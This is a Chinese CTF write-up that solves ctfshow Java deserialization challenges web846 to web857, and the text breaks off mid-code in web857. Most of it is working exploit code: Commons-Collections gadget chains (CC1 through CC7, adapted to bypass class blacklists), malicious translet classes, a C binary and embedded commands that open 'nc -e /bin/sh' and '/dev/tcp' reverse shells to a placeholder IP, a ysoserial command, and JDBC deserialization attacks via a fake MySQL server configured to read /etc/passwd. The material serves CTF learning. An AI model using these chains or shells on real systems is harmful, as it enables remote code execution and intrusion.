ctfshow-Web入门刷题记录4
参考:
CTFSHOW web入门 java反序列化篇(更新中)
CTFSHOW web入门 java反序列化篇 web855
CTFSHOW-Java反序列化
java反序列化 web846 直接URLDNS
访问题目网址即可
package show.ctf.java;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.MalformedURLException;import java.net.URL;import java.util.Base64;import java.util.HashMap;public class web846 { public static void main (String[] args) throws IOException, NoSuchFieldException, IllegalAccessException { HashMap<URL,Integer> hashMap = new HashMap <URL, Integer>(); URL url = new URL ("http://64724688-c89b-4ddb-985d-ed76b2bc0f0f.challenge.ctf.show/" ); Class c = url.getClass(); Field urlfield = c.getDeclaredField("hashCode" ); urlfield.setAccessible(true ); urlfield.set(url,1234 ); hashMap.put(url,1 ); urlfield.set(url,-1 ); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(hashMap); byte [] payloadBytes = byteArrayOutputStream.toByteArray(); String payload = Base64.getEncoder().encodeToString(payloadBytes); System.out.println(payload); } }
注意最后的payload
要url编码一下
POST: ctfshow=rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa%2FORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F3QANzY0NzI0Njg4LWM4OWItNGRkYi05ODVkLWVkNzZiMmJjMGYwZi5jaGFsbGVuZ2UuY3RmLnNob3d0AAEvcQB%2BAAV0AARodHRwcHhzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXg%3D
web847 题目说是java7
并且使用了commons-collections 3.1
并且删除了nc和curl命令
,然后给了接收部分的代码
data=new BASE64Decoder ().decodeBuffer(request.getParameter("ctfshow" ));
用CC1
打一下,先maven
安一下依赖
<dependencies > <dependency > <groupId > junit</groupId > <artifactId > junit</artifactId > <version > 4.11</version > <scope > test</scope > </dependency > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency > </dependencies >
写一下exp
(Java中弹shell要注意一下,可以看下这个 和这个 )
package show.ctf.java;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Proxy;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class web847 { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { byte [] shellBytes = ("bash -i >&/dev/tcp/your-ip/your-port 0>&1" ).getBytes(); String shellStr = Base64.getEncoder().encodeToString(shellBytes); Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"bash -c {echo," +shellStr+"}|{base64,-d}|{bash,-i}" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerConstructor.setAccessible(true ); InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class,lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class []{Map.class},h); Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,mapProxy); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(o); byte [] payloadBytes = byteArrayOutputStream.toByteArray(); String payload = Base64.getEncoder().encodeToString(payloadBytes); System.out.println(payload); } }
web848 题目说甚至不准用TransformedMap类反序列化
,但我们上一个就用的LazyMap
版本的,所以直接拿上一题的就能用(上一题是可以用TransformedMap
版本的CC1的)
web849 题目换成java8
和commons-collections 4.0
,因此用CC4
,先添加下依赖
<dependency > <groupId > org.apache.commons</groupId > <artifactId > commons-collections4</artifactId > <version > 4.0</version > </dependency >
构造exp
(记得要用nc
,虽然题目里面说的删了,但是外面提示了CC链之二,**可以用nc反弹**
,一开始没看到,麻了,并且这个题目用CC2也可以打通)
package show.ctf.java;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;import java.util.PriorityQueue;public class web849 { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl (); Class tc = templates.getClass(); Field name = tc.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates,"evo1" ); byte [] code = Files.readAllBytes(Paths.get("target/classes/show/ctf/java/web849_shell.class" )); byte [][] codes = {code}; Field bytecodes = tc.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(templates,codes); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer <>(transformers); TransformingComparator transformingComparator = new TransformingComparator <>(new ConstantTransformer <>(1 )); PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator); priorityQueue.add("evo1" ); priorityQueue.add("evo2" ); Class c = transformingComparator.getClass(); Field transformer = c.getDeclaredField("transformer" ); transformer.setAccessible(true ); transformer.set(transformingComparator,chainedTransformer); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(priorityQueue); byte [] payloadBytes = byteArrayOutputStream.toByteArray(); String payload = Base64.getEncoder().encodeToString(payloadBytes); System.out.println(payload); } }
恶意类
package show.ctf.java;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;import java.util.Base64;public class web849_shell extends AbstractTranslet { static { try { Runtime.getRuntime().exec("nc your-ip your-port -e /bin/sh" ); } catch (IOException e) { throw new RuntimeException (e); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
弹完之后在自己vps
上可能看不到变化,记得输入命令试试成功没有。
web850 题目提示我是java7,使用了commons-collections 3.1的库并对一些可能有危险的类进行了封禁
,实际上是过滤了Transformer
,因此可以用CC3,首先恶意类改成用bash
(改来改去的。。。记得用Java7!!!!!!)
package com.ctfshow;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.map.LazyMap;import sun.misc.BASE64Decoder;import sun.misc.BASE64Encoder;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.*;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class exp { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException { TemplatesImpl templates = new TemplatesImpl (); Class tc = templates.getClass(); Field name = tc.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates,"evo1" ); byte [] code = Files.readAllBytes(Paths.get("target/classes/com/ctfshow/payload.class" )); byte [][] codes = {code}; Field bytecodes = tc.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(templates,codes); Field tfactory = tc.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerConstructor.setAccessible(true ); InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class,lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class []{Map.class},h); Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,mapProxy); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(o); byte [] payloadBytes = byteArrayOutputStream.toByteArray(); String payload = new BASE64Encoder ().encode(payloadBytes); System.out.println(payload); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
恶意类
package com.ctfshow;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class payload extends AbstractTranslet { static { try { Runtime.getRuntime().exec("bash -c {echo,你要执行的命令的base64}|{base64,-d}|{bash,-i}" ); } catch (IOException e) { throw new RuntimeException (e); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
也可以直接用工具打(前面的题目也是)
java -jar ysoserial-all.jar CommonsCollections3 "bash -c {echo,你要执行的命令的base64}|{base64,-d}|{bash,-i}" |base64
接下来就要记录下我做这道题无语的经历,当我用自己的CC3打不通,用工具的CC3可以打通的时候,事情就开始变味了,首先对比了下报错,报错这里不一样
然后下载对应源码看一下(服务器的Java版本是1.7.0_55)。发现本来应该一直执行到第二个框的,但我的payload进入了第一个框就停了
然后第一个框的作用主要是给_class
赋值为我们定义的恶意类,可以看到Java7的是可以成功赋值的
而使用Java8版本的payload时,会出现问题
在这一步defineClass
加载字节码时,会捕获到异常
搜一下报错就可以知道,是Java版本问题在捣鬼。所以,一定要保持和远程一样的版本再做题,仔细读题,不然就会和我一样找bug到半夜,还是太菜了呀我/(ㄒoㄒ)/~~
web851 题目提示有nc
,然后描述有我是java8,使用了commons-collections 4.0的库并对一些可能有危险的类进行了封禁
,应该是原来的CC2和CC4不能用了
CC7改 拿CC7改一下
package show.ctf.java;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import org.apache.commons.collections4.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.*;public class web851 { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"nc your-ip your-port -e /bin/sh" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{}); HashMap<Object,Object> hashMap1 = new HashMap <>(); HashMap<Object,Object> hashMap2 = new HashMap <>(); Map<Object,Object> lazyMap1 = LazyMap.lazyMap(hashMap1,chainedTransformer); lazyMap1.put("yy" , 1 ); Map<Object,Object> lazyMap2 = LazyMap.lazyMap(hashMap2,chainedTransformer); lazyMap2.put("zZ" , 1 ); Hashtable hashtable = new Hashtable (); hashtable.put(lazyMap1, 1 ); hashtable.put(lazyMap2, 2 ); Class c = chainedTransformer.getClass(); Field iTransformers = c.getDeclaredField("iTransformers" ); iTransformers.setAccessible(true ); iTransformers.set(chainedTransformer,transformers); lazyMap2.remove("yy" ); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(hashtable); byte [] payloadBytes = byteArrayOutputStream.toByteArray(); String payload = Base64.getEncoder().encodeToString(payloadBytes); System.out.println(payload); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
CC6改 同理其他基于commons-collections3
的Java8
的CC链理论上改成CC4也可以,看网上的题解也可以不用LazyMap
改用DefaultedMap
也是可以的,这里放一个改的CC6
package show.ctf.java;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import org.apache.commons.collections4.keyvalue.TiedMapEntry;import org.apache.commons.collections4.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.*;public class web851 { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"nc your-ip your-port -e /bin/sh" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.lazyMap(map,new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,"evo1" ); HashMap<Object,Object> map2 = new HashMap <>(); map2.put(tiedMapEntry,"evo2" ); lazyMap.remove("evo1" ); Class c = LazyMap.class; Field factory = c.getDeclaredField("factory" ); factory.setAccessible(true ); factory.set(lazyMap,chainedTransformer); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(map2); byte [] payloadBytes = byteArrayOutputStream.toByteArray(); String payload = Base64.getEncoder().encodeToString(payloadBytes); System.out.println(payload); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
web852 同web851
web853 用web851
里的改的CC6
会报类不支持的错,但是改的CC7
还是可以用的
web854 题目给了更详细的信息
提交ctfshow参数进行base64解码 然后进行反序列化 我是java8,使用了commons-collections 4.0的库并对一些可能有危险的类进行了封禁,包含: TransformedMap PriorityQueue InstantiateTransformer TransformingComparator TemplatesImpl AnnotationInvocationHandler HashSet Hashtable LazyMap 下面是我接收参数的代码 data=new BASE64Decoder().decodeBuffer(request.getParameter("ctfshow"));
CC5改 看一下以前的链子发现可以改一下CC5
,把里面的LazyMap
换成DefaultedMap
就行了
package show.ctf.java;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import org.apache.commons.collections4.keyvalue.TiedMapEntry;import org.apache.commons.collections4.map.DefaultedMap;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.util.Base64;public class web854 { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"nc your-ip your-port -e /bin/sh" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); DefaultedMap defaultedMap = new DefaultedMap (chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (defaultedMap,"evo1" ); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException ("evo" ); Class bc = badAttributeValueExpException.getClass(); Field val = bc.getDeclaredField("val" ); val.setAccessible(true ); val.set(badAttributeValueExpException,tiedMapEntry); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(badAttributeValueExpException); byte [] payloadBytes = byteArrayOutputStream.toByteArray(); String payload = Base64.getEncoder().encodeToString(payloadBytes); System.out.println(payload); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
CC6改 同样的道理,可以发现CC6里面也只有LazyMap
不能用罢了,改成DefaultedMap
就可以了
package show.ctf.java;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import org.apache.commons.collections4.keyvalue.TiedMapEntry;import org.apache.commons.collections4.map.DefaultedMap;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class web854 { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"nc your-ip your-port -e /bin/sh" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{}); DefaultedMap defaultedMap = new DefaultedMap (chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (defaultedMap,"evo1" ); HashMap<Object,Object> map = new HashMap <>(); map.put(tiedMapEntry,"evo2" ); Class c = ChainedTransformer.class; Field iTransformers = c.getDeclaredField("iTransformers" ); iTransformers.setAccessible(true ); iTransformers.set(chainedTransformer,transformers); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(map); byte [] payloadBytes = byteArrayOutputStream.toByteArray(); String payload = Base64.getEncoder().encodeToString(payloadBytes); System.out.println(payload); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
web855 提示说我是java8,没有使用额外的库
,然后给了源码
package com.ctfshow.entity; import java.io.*; public class User implements Serializable { private static final long serialVersionUID = 0x36d ; private String username; private String password; public User (String username, String password) { this .username = username; this .password = password; } public String getUsername () { return username; } public void setUsername (String username) { this .username = username; } public String getPassword () { return password; } public void setPassword (String password) { this .password = password; } private static final String OBJECTNAME="ctfshow" ; private static final String SECRET="123456" ; private static String shellCode="chmod +x ./" +OBJECTNAME+" && ./" +OBJECTNAME; private void readObject (ObjectInputStream in) throws IOException, ClassNotFoundException { int magic = in.readInt(); if (magic==2135247942 ){ byte var1 = in.readByte(); switch (var1){ case 1 :{ int var2 = in.readInt(); if (var2==0x36d ){ FileOutputStream fileOutputStream = new FileOutputStream (OBJECTNAME); fileOutputStream.write(new byte []{0x7f ,0x45 ,0x4c ,0x46 }); byte [] temp = new byte [1 ]; while ((in.read(temp))!=-1 ){ fileOutputStream.write(temp); } fileOutputStream.close(); in.close(); } break ; } case 2 :{ ObjectInputStream.GetField gf = in.readFields(); String username = (String) gf.get("username" , null ); String password = (String) gf.get("password" ,null ); username = username.replaceAll("[\\p{C}\\p{So}\uFE00-\uFE0F\\x{E0100}-\\x{E01EF}]+" , "" ) .replaceAll(" {2,}" , " " ); password = password.replaceAll("[\\p{C}\\p{So}\uFE00-\uFE0F\\x{E0100}-\\x{E01EF}]+" , "" ) .replaceAll(" {2,}" , " " ); User var3 = new User (username,password); User admin = new User (OBJECTNAME,SECRET); if (var3 instanceof User){ if (OBJECTNAME.equals(var3.getUsername())){ throw new RuntimeException ("object unserialize error" ); } if (SECRET.equals(var3.getPassword())){ throw new RuntimeException ("object unserialize error" ); } if (var3.equals(admin)){ Runtime.getRuntime().exec(shellCode); } }else { throw new RuntimeException ("object unserialize error" ); } break ; } default :{ throw new RuntimeException ("object unserialize error" ); } } } } @Override public boolean equals (Object o) { if (this == o) return true ; if (!(o instanceof User)) return false ; User user = (User) o; return this .hashCode() == user.hashCode(); } @Override public int hashCode () { return username.hashCode()+password.hashCode(); } }
分析一下这个类可以发现,在case 1
这里可以写入我们的恶意文件,给的拿个固定开头是elf
文件头,而在case 2
这里则可以执行我们的恶意文件,所以思路是通过case 1
写入我们的恶意可执行文件,然后在case 2
这里执行恶意文件,先写一个恶意文件
#include <stdlib.h> int main () { system("nc your-ip your-port -e /bin/sh" ); return 0 ; }
用gcc
编译生成可执行文件后删去前4个字节,重写一下User
的writeObject
private void writeObject (ObjectOutputStream outputStream) throws IOException { outputStream.writeInt(2135247942 ); outputStream.writeByte(1 ); outputStream.writeInt(0x36d ); File hack = new File ("hack" ); BufferedInputStream bufferedInputStream = new BufferedInputStream (new FileInputStream (hack)); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (1024 ); byte [] temp = new byte [1024 ]; int size = 0 ; while ((size = bufferedInputStream.read(temp))!=-1 ){ byteArrayOutputStream.write(temp,0 ,size); } bufferedInputStream.close(); byte [] bytes = byteArrayOutputStream.toByteArray(); outputStream.write(bytes); outputStream.defaultWriteObject(); }
生成写入恶意文件的payload
package com.ctfshow.entity;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.util.Base64;public class web855 { public static void main (String[] args) throws IOException { User user = new User ("evo1" , "evo1" ); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(user); byte [] payloadBytes = byteArrayOutputStream.toByteArray(); String payload = Base64.getEncoder().encodeToString(payloadBytes); System.out.println(payload); } }
传过去可以生成恶意文件,然后case 2
需要满足几个条件,就是实例化时传入的username
和password
不能是ctfshow
和123456
,但是hash比较时又相等,这里直接用一下yu22x师傅的脚本 找一下
def hashcode (val ): h=0 for i in range (len (val)): h=31 * h + ord (val[i]) return h t="ct" for k in range (1 ,128 ): for l in range (1 ,128 ): if t!=(chr (k)+chr (l)): if (hashcode(t)==hashcode(chr (k)+chr (l))): print (t,chr (k)+chr (l))
最后发现可以用dU
和0Q
替代ct
和12
,先重写一下writeObject
private void writeObject (ObjectOutputStream outputStream) throws IOException { outputStream.writeInt(2135247942 ); outputStream.writeByte(2 ); outputStream.defaultWriteObject(); }
生成第二步要用的payload
package com.ctfshow.entity;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.util.Base64;public class web855 { public static void main (String[] args) throws IOException { User user = new User ("dUfshow" , "0Q3456" ); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(user); byte [] payloadBytes = byteArrayOutputStream.toByteArray(); String payload = Base64.getEncoder().encodeToString(payloadBytes); System.out.println(payload); } }
web856
MySQL JDBC 客户端反序列化漏洞分析
JDBC反序列化,看一下上面这篇文章然后把工具下载下来就可以。把MySQL_Fake_Server
部署到自己的vps
上,先配置下config.json
{ "config" : { "ysoserialPath" : "你的ysoserial的绝对路径" , "javaBinPath" : "java" , "fileOutputDir" : "./fileOutput/" , "displayFileContentOnScreen" : true , "saveToFile" : true } , "fileread" : { "win_ini" : "c:\\windows\\win.ini" , "win_hosts" : "c:\\windows\\system32\\drivers\\etc\\hosts" , "win" : "c:\\windows\\" , "linux_passwd" : "/etc/passwd" , "linux_hosts" : "/etc/hosts" , "index_php" : "index.php" , "ssrf" : "https://www.baidu.com/" , "__defaultFiles" : [ "/etc/hosts" , "c:\\windows\\system32\\drivers\\etc\\hosts" ] } , "yso" : { "evo1" : [ "CommonsCollections4" , "nc vps-shell-ip vps-shell-port -e /bin/sh" ] } }
改一下server.py
中的端口防止和本地的mysql
端口冲突
f = start_mysql_server(handle_server, host=None , port=your-fake_mysql-port)
接下来就是构造exp
了,这里要注意下mysql-connector-java
的版本是5.1.39
,用反射给Connection
类赋值就行
package com.ctfshow.entity;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;public class web856 { public static void main (String[] args) throws IOException, NoSuchFieldException, IllegalAccessException { Connection connection = new Connection (); Class c = connection.getClass(); Field schema = c.getDeclaredField("schema" ); schema.setAccessible(true ); schema.set(connection,"jdbc:mysql" ); Field host = c.getDeclaredField("host" ); host.setAccessible(true ); host.set(connection,"vps-ip" ); Field port = c.getDeclaredField("port" ); port.setAccessible(true ); port.set(connection,vps-port); Field user = c.getDeclaredField("user" ); user.setAccessible(true ); user.set(connection,new User ("evo1" , "123456" )); Field database = c.getDeclaredField("database" ); database.setAccessible(true ); database.set(connection,"detectCustomCollations=true&autoDeserialize=true" ); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(connection); byte [] payloadBytes = byteArrayOutputStream.toByteArray(); String payload = Base64.getEncoder().encodeToString(payloadBytes); System.out.println(payload); } }
开启nc
监听和MySQL_Fake_Server
,然后传输payload
就拿到shell
了
web857
https://forum.butian.net/share/1339
可以看到多了个postgresql 42.3.1
,参考上面的文章写个🐎进去
package com.ctfshow.entity;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;public class web857 { public static void main (String[] args) throws IOException, NoSuchFieldException, IllegalAccessException { Connection connection = new Connection (); Class c = connection.getClass(); Field driver = c.getDeclaredField("driver" ); driver.setAccessible(true ); driver.set(connection,"org.postgresql.Driver" ); Field schema = c.getDeclaredField("schema" ); schema.setAccessible(true ); schema.set(connection,"jdbc:postgresql" ); Field host = c.getDeclaredField("host" ); host.setAccessible(true ); host.set(connection,"127.0.0.1" ); Field port = c.getDeclaredField("port" ); port.setAccessible(true ); port.set(connection,1234 ); Field user = c.getDeclaredField("user" ); user.setAccessible(true ); user.set(connection,new User ("evo1" , "123456" )); Field database = c.getDeclaredField("database" ); database.setAccessible(true ); 